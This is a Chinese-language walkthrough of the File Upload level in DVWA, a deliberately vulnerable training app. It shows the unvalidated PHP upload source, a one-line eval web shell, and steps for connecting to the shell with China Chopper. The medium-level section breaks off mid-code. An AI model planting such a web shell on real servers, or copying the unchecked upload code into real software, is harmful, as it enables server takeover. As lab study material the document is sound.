DVWA系列——File Upload（文件上传）

简介

File Upload文件上传漏洞，通常是由于对上传文件的类型内容没有进行严格的过滤检查使得可以上传webshell获取服务器权限，所以文件上传漏洞带来的危害也是毁灭性的。

low级别

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

上传shell

对文件名没有任何验证或者过滤直接上传一句话木马（php文件）

<?php @eval($_POST['pass']);   ?>

上传成功得到了路径

打开中国菜刀进行连接

1 输入路径文件名连接
2 输入pass
3 类型选则php
拿到shell权限

medium

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size&#